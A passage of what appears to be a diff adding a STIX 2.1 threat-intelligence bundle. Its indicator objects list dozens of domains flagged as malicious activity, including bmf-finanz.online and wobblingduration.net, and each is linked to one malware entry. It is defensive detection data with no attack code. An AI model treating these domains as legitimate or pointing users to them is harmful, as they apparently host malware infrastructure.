"indicates", + "source_ref": "indicator--74e68f4f-8ba8-4573-b38a-72c96eb46dea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--92170e50-7769-4732-9ee9-296794f06add", + "created": "2023-03-29T12:58:44.48476Z", + "modified": "2023-03-29T12:58:44.48476Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wobblingduration.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.48476Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ffeda72a-d4bc-4b6f-a73d-d10437850a66", + "created": "2023-03-29T12:58:44.48535Z", + "modified": "2023-03-29T12:58:44.48535Z", + "relationship_type": "indicates", + "source_ref": "indicator--92170e50-7769-4732-9ee9-296794f06add", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--36601f97-eefd-4343-8052-8490cd830b04", + "created": "2023-03-29T12:58:44.485518Z", + "modified": "2023-03-29T12:58:44.485518Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spoutclerk.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.485518Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--977bbffb-7fdc-4420-bc90-a5f693bb9765", + "created": "2023-03-29T12:58:44.486106Z", + "modified": "2023-03-29T12:58:44.486106Z", + "relationship_type": "indicates", + "source_ref": "indicator--36601f97-eefd-4343-8052-8490cd830b04", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fbf0b670-ff39-47e6-ba1a-c110664a9a3e", + "created": "2023-03-29T12:58:44.486274Z", + "modified": "2023-03-29T12:58:44.486274Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drizzlybobbing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.486274Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b261246-e20b-4625-87ab-fe358348b046", + "created": "2023-03-29T12:58:44.486862Z", + "modified": "2023-03-29T12:58:44.486862Z", + "relationship_type": "indicates", + "source_ref": "indicator--fbf0b670-ff39-47e6-ba1a-c110664a9a3e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--320d44ae-3479-4685-84e0-61abd85ae319", + "created": "2023-03-29T12:58:44.487029Z", + "modified": "2023-03-29T12:58:44.487029Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fragranttheater.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.487029Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec1e2b49-9dff-46c3-a973-5695be963df4", + "created": "2023-03-29T12:58:44.487624Z", + "modified": "2023-03-29T12:58:44.487624Z", + "relationship_type": "indicates", + "source_ref": "indicator--320d44ae-3479-4685-84e0-61abd85ae319", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4dc680c2-a89a-4a76-a8e2-2ce5fbebfaf5", + "created": "2023-03-29T12:58:44.487794Z", + "modified": "2023-03-29T12:58:44.487794Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='repentresisting.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.487794Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0291a570-6861-464b-a5bc-b275461d4fde", + "created": "2023-03-29T12:58:44.488389Z", + "modified": "2023-03-29T12:58:44.488389Z", + "relationship_type": "indicates", + "source_ref": "indicator--4dc680c2-a89a-4a76-a8e2-2ce5fbebfaf5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c8feefb3-da53-4b75-b6e1-83d58b20259b", + "created": "2023-03-29T12:58:44.488561Z", + "modified": "2023-03-29T12:58:44.488561Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kettlerobust.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.488561Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9cc1e8aa-cdf2-451e-9fb9-3639ec383e94", + "created": "2023-03-29T12:58:44.489151Z", + "modified": "2023-03-29T12:58:44.489151Z", + "relationship_type": "indicates", + "source_ref": "indicator--c8feefb3-da53-4b75-b6e1-83d58b20259b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f608e9f5-8e6a-4daf-8c5a-68be2b181bf1", + "created": "2023-03-29T12:58:44.48932Z", + "modified": "2023-03-29T12:58:44.48932Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reborndonor.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.48932Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8bfb8431-a5de-4578-acc7-c6ea9819132f", + "created": "2023-03-29T12:58:44.490033Z", + "modified": "2023-03-29T12:58:44.490033Z", + "relationship_type": "indicates", + "source_ref": "indicator--f608e9f5-8e6a-4daf-8c5a-68be2b181bf1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e91fcb36-a092-41ca-9521-46f8baf5f1b9", + "created": "2023-03-29T12:58:44.490205Z", + "modified": "2023-03-29T12:58:44.490205Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='multiplestarfish.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.490205Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f58bb8e6-d1db-4be4-b650-84bebb9bca24", + "created": "2023-03-29T12:58:44.490803Z", + "modified": "2023-03-29T12:58:44.490803Z", + "relationship_type": "indicates", + "source_ref": "indicator--e91fcb36-a092-41ca-9521-46f8baf5f1b9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9fef0d3d-e1ca-4314-9d3a-af12e83b8bde", + "created": "2023-03-29T12:58:44.490972Z", + "modified": "2023-03-29T12:58:44.490972Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ringerplay.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.490972Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d3451e32-9958-49d2-8bc3-a942f3942627", + "created": "2023-03-29T12:58:44.491557Z", + "modified": "2023-03-29T12:58:44.491557Z", + "relationship_type": "indicates", + "source_ref": "indicator--9fef0d3d-e1ca-4314-9d3a-af12e83b8bde", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--443f1427-9bdc-4be6-98d7-16c14decd84d", + "created": "2023-03-29T12:58:44.491724Z", + "modified": "2023-03-29T12:58:44.491724Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='masstree.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.491724Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba36ca24-9581-4236-ae09-eb6ad1032add", + "created": "2023-03-29T12:58:44.492303Z", + "modified": "2023-03-29T12:58:44.492303Z", + "relationship_type": "indicates", + "source_ref": "indicator--443f1427-9bdc-4be6-98d7-16c14decd84d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8571dece-bdbe-4608-8f4d-41a43c5ac9e4", + "created": "2023-03-29T12:58:44.492469Z", + "modified": "2023-03-29T12:58:44.492469Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unsolvedpoise.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.492469Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--098e6f71-4314-40a5-b491-99dacbdec551", + "created": "2023-03-29T12:58:44.493057Z", + "modified": "2023-03-29T12:58:44.493057Z", + "relationship_type": "indicates", + "source_ref": "indicator--8571dece-bdbe-4608-8f4d-41a43c5ac9e4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9843d61e-660b-4335-ac00-e5ba4210ee08", + "created": "2023-03-29T12:58:44.493227Z", + "modified": "2023-03-29T12:58:44.493227Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timingdeny.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.493227Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d1fcd0fb-512a-483d-896e-210e408166b6", + "created": "2023-03-29T12:58:44.49383Z", + "modified": "2023-03-29T12:58:44.49383Z", + "relationship_type": "indicates", + "source_ref": "indicator--9843d61e-660b-4335-ac00-e5ba4210ee08", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0bd655b3-c06f-4633-b88e-22313efe4f28", + "created": "2023-03-29T12:58:44.493999Z", + "modified": "2023-03-29T12:58:44.493999Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tubbyrockfish.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.493999Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a4b61b7-fcb8-42b7-a601-eb35fd26c145", + "created": "2023-03-29T12:58:44.494593Z", + "modified": "2023-03-29T12:58:44.494593Z", + "relationship_type": "indicates", + "source_ref": "indicator--0bd655b3-c06f-4633-b88e-22313efe4f28", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--28fb27dd-9cbc-48de-8c2f-46d6865b9129", + "created": "2023-03-29T12:58:44.49476Z", + "modified": "2023-03-29T12:58:44.49476Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bmf-finanz.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.49476Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d86af563-50c7-4be6-b24e-081d6702c0c4", + "created": "2023-03-29T12:58:44.495354Z", + "modified": "2023-03-29T12:58:44.495354Z", + "relationship_type": "indicates", + "source_ref": "indicator--28fb27dd-9cbc-48de-8c2f-46d6865b9129", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6309d459-5f15-478f-9b28-994676dc4792", + "created": "2023-03-29T12:58:44.495522Z", + "modified": "2023-03-29T12:58:44.495522Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boasterunlikable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.495522Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d17c167-d717-48a8-a60c-41206106ae12", + "created": "2023-03-29T12:58:44.496124Z", + "modified": "2023-03-29T12:58:44.496124Z", + "relationship_type": "indicates", + "source_ref": "indicator--6309d459-5f15-478f-9b28-994676dc4792", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--645514c1-d9cf-4e19-857d-7763471cf47d", + "created": "2023-03-29T12:58:44.496291Z", + "modified": "2023-03-29T12:58:44.496291Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='priedeuphemism.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.496291Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c854b4b4-3930-4f30-aa61-be4860f10683", + "created": "2023-03-29T12:58:44.496997Z", + "modified": "2023-03-29T12:58:44.496997Z", + "relationship_type": "indicates", + "source_ref": "indicator--645514c1-d9cf-4e19-857d-7763471cf47d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97d8b481-338f-4afd-99dd-9dc44b2df9e2", + "created": "2023-03-29T12:58:44.49717Z", + "modified": "2023-03-29T12:58:44.49717Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='creativereword.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.49717Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--943c1f66-f915-4310-93c5-2d1000e4f957", + "created": "2023-03-29T12:58:44.497812Z", + "modified": "2023-03-29T12:58:44.497812Z", + "relationship_type": "indicates", + "source_ref": "indicator--97d8b481-338f-4afd-99dd-9dc44b2df9e2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef878450-706f-4a8c-9a8f-4afbc72a1a00", + "created": "2023-03-29T12:58:44.498089Z", + "modified": "2023-03-29T12:58:44.498089Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flightjaybird.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.498089Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56da96a5-28c6-40db-bd02-84c8f5cb2d14", + "created": "2023-03-29T12:58:44.498768Z", + "modified": "2023-03-29T12:58:44.498768Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef878450-706f-4a8c-9a8f-4afbc72a1a00", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--70610331-118a-4763-8b66-bcfa7f580a71", + "created": "2023-03-29T12:58:44.498942Z", + "modified": "2023-03-29T12:58:44.498942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='littlemaster.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.498942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26bca195-51a8-4131-93a5-31f9d12e8252", + "created": "2023-03-29T12:58:44.499537Z", + "modified": "2023-03-29T12:58:44.499537Z", + "relationship_type": "indicates", + "source_ref": "indicator--70610331-118a-4763-8b66-bcfa7f580a71", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b392ea7-42a6-45ad-9bd1-61f4ac72c5f4", + "created": "2023-03-29T12:58:44.499706Z", + "modified": "2023-03-29T12:58:44.499706Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exactquizzical.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.499706Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--15b133dc-a692-488f-8c54-40095356fb5e", + "created": "2023-03-29T12:58:44.5003Z", + "modified": "2023-03-29T12:58:44.5003Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b392ea7-42a6-45ad-9bd1-61f4ac72c5f4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c0d9bb5c-2843-4fda-8b48-01de7ae450fe", + "created": "2023-03-29T12:58:44.500468Z", + "modified": "2023-03-29T12:58:44.500468Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='roundedsquares.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.500468Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--114de7c4-c372-4e55-a806-aa5d1ae37c8f", + "created": "2023-03-29T12:58:44.501064Z", + "modified": "2023-03-29T12:58:44.501064Z", + "relationship_type": "indicates", + "source_ref": "indicator--c0d9bb5c-2843-4fda-8b48-01de7ae450fe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--513a4dc1-f668-45c5-95ea-07b0ddd4c853", + "created": "2023-03-29T12:58:44.501235Z", + "modified": "2023-03-29T12:58:44.501235Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wobbleaerosol.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.501235Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c149724f-cd51-43d9-b3fd-d02e7dc5830f", + "created": "2023-03-29T12:58:44.501848Z", + "modified": "2023-03-29T12:58:44.501848Z", + "relationship_type": "indicates", + "source_ref": "indicator--513a4dc1-f668-45c5-95ea-07b0ddd4c853", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9a1f153c-62fb-4271-a2ee-0df801ae0b57", + "created": "2023-03-29T12:58:44.502017Z", + "modified": "2023-03-29T12:58:44.502017Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unsureuncouth.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.502017Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dcea112a-9171-4a02-8b5d-6d8c2b4fb971", + "created": "2023-03-29T12:58:44.50261Z", + "modified": "2023-03-29T12:58:44.50261Z", + "relationship_type": "indicates", + "source_ref": "indicator--9a1f153c-62fb-4271-a2ee-0df801ae0b57", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de5825a4-7d89-4d71-9cc7-f1e87d1d2a42", + "created": "2023-03-29T12:58:44.502778Z", + "modified": "2023-03-29T12:58:44.502778Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backpedalclover.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.502778Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b2dbeff-4e08-4402-af71-90b51599c02d", + "created": "2023-03-29T12:58:44.503405Z", + "modified": "2023-03-29T12:58:44.503405Z", + "relationship_type": "indicates", + "source_ref": "indicator--de5825a4-7d89-4d71-9cc7-f1e87d1d2a42", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--79caf4dc-ce93-4c33-8ce9-9bd2bd8ba284", + "created": "2023-03-29T12:58:44.503575Z", + "modified": "2023-03-29T12:58:44.503575Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quaintlycatalyze.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.503575Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db6c006a-2eb4-42f1-9ed6-f74c31e165ba", + "created": "2023-03-29T12:58:44.504278Z", + "modified": "2023-03-29T12:58:44.504278Z", + "relationship_type": "indicates", + "source_ref": "indicator--79caf4dc-ce93-4c33-8ce9-9bd2bd8ba284", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85eff23a-f7cd-4fac-8ba6-833a7a403bd0", + "created": "2023-03-29T12:58:44.50445Z", + "modified": "2023-03-29T12:58:44.50445Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twinklingspot.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.50445Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--718e89dc-f8ad-4c4a-a737-312971263b84", + "created": "2023-03-29T12:58:44.505046Z", + "modified": "2023-03-29T12:58:44.505046Z", + "relationship_type": "indicates", + "source_ref": "indicator--85eff23a-f7cd-4fac-8ba6-833a7a403bd0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--009fa4e0-cf89-4216-9deb-f3439a9c66ac", + "created": "2023-03-29T12:58:44.505214Z", + "modified": "2023-03-29T12:58:44.505214Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='revisitcruncher.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.505214Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4603f484-a971-48bf-b7bd-0f85b3accba8", + "created": "2023-03-29T12:58:44.505819Z", + "modified": "2023-03-29T12:58:44.505819Z", + "relationship_type": "indicates", + "source_ref": "indicator--009fa4e0-cf89-4216-9deb-f3439a9c66ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--54fd4749-4f74-4172-be51-dae836b6a948", + "created": "2023-03-29T12:58:44.505987Z", + "modified": "2023-03-29T12:58:44.505987Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='seltzerdefection.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.505987Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b670ce27-63f0-4bf3-962c-2125049bf063", + "created": "2023-03-29T12:58:44.506578Z", + "modified": "2023-03-29T12:58:44.506578Z", + "relationship_type": "indicates", + "source_ref": "indicator--54fd4749-4f74-4172-be51-dae836b6a948", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a8c2bb12-be3c-4fb5-a66f-63d594d4aa59", + "created": "2023-03-29T12:58:44.506751Z", + "modified": "2023-03-29T12:58:44.506751Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fogdetergent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.506751Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a752121-2533-4d6b-939e-9feb05599658", + "created": "2023-03-29T12:58:44.507342Z", + "modified": "2023-03-29T12:58:44.507342Z", + "relationship_type": "indicates", + "source_ref": "indicator--a8c2bb12-be3c-4fb5-a66f-63d594d4aa59", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c127887-5e3f-4cda-b83f-9fc282ae883b", + "created": "2023-03-29T12:58:44.50751Z", + "modified": "2023-03-29T12:58:44.50751Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='siftspew.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.50751Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84e145fc-d218-42c7-88d9-151a460594ee", + "created": "2023-03-29T12:58:44.508091Z", + "modified": "2023-03-29T12:58:44.508091Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c127887-5e3f-4cda-b83f-9fc282ae883b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--678ec2bf-507e-48e2-a829-aaf929f7dc9c", + "created": "2023-03-29T12:58:44.508263Z", + "modified": "2023-03-29T12:58:44.508263Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sneezinggrip.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.508263Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e6545f24-a4a1-469c-8cc7-3be4f6d46e71", + "created": "2023-03-29T12:58:44.508853Z", + "modified": "2023-03-29T12:58:44.508853Z", + "relationship_type": "indicates", + "source_ref": "indicator--678ec2bf-507e-48e2-a829-aaf929f7dc9c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bff79bcd-027e-4065-bd6a-dd962d24bd6a", + "created": "2023-03-29T12:58:44.50902Z", + "modified": "2023-03-29T12:58:44.50902Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='searchonman.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.50902Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--51e7a198-9aa3-4a7c-ae37-34faee4f1292", + "created": "2023-03-29T12:58:44.509616Z", + "modified": "2023-03-29T12:58:44.509616Z", + "relationship_type": "indicates", + "source_ref": "indicator--bff79bcd-027e-4065-bd6a-dd962d24bd6a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d8e7ac49-9643-43f8-afd8-2b09bc7b897d", + "created": "2023-03-29T12:58:44.509788Z", + "modified": "2023-03-29T12:58:44.509788Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spoonhatbox.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.509788Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1f000c40-2e5e-4f9d-a11c-3c39349f765b", + "created": "2023-03-29T12:58:44.510381Z", + "modified": "2023-03-29T12:58:44.510381Z", + "relationship_type": "indicates", + "source_ref": "indicator--d8e7ac49-9643-43f8-afd8-2b09bc7b897d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0669a493-0fc8-49dd-ad92-a2d5daccb099", + "created": "2023-03-29T12:58:44.510549Z", + "modified": "2023-03-29T12:58:44.510549Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='turbojetpasta.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.510549Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57845721-1a92-4a7b-ac4a-e1b47005fa45", + "created": "2023-03-29T12:58:44.511257Z", + "modified": "2023-03-29T12:58:44.511257Z", + "relationship_type": "indicates", + "source_ref": "indicator--0669a493-0fc8-49dd-ad92-a2d5daccb099", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--89508b62-a703-4b9c-87c4-895be80c677f", + "created": "2023-03-29T12:58:44.511428Z", + "modified": "2023-03-29T12:58:44.511428Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rocketmess.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.511428Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7685ab1e-40f0-48ce-8cf6-27eaf45e3f6b", + "created": "2023-03-29T12:58:44.512015Z", + "modified": "2023-03-29T12:58:44.512015Z", + "relationship_type": "indicates", + "source_ref": "indicator--89508b62-a703-4b9c-87c4-895be80c677f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--21e17bc1-bedf-447e-a08d-f4371a6cf431", + "created": "2023-03-29T12:58:44.512184Z", + "modified": "2023-03-29T12:58:44.512184Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='irritablescoured.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.512184Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0191e101-9c7e-4e8e-ae4f-07e549ac9313", + "created": "2023-03-29T12:58:44.512778Z", + "modified": "2023-03-29T12:58:44.512778Z", + "relationship_type": "indicates", + "source_ref": "indicator--21e17bc1-bedf-447e-a08d-f4371a6cf431", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02822fec-d825-4706-9b32-e794d95ca0ea", + "created": "2023-03-29T12:58:44.512945Z", + "modified": "2023-03-29T12:58:44.512945Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='klick-suara.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.512945Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d9acd78a-d665-453e-bfd1-12fdc49bac13", + "created": 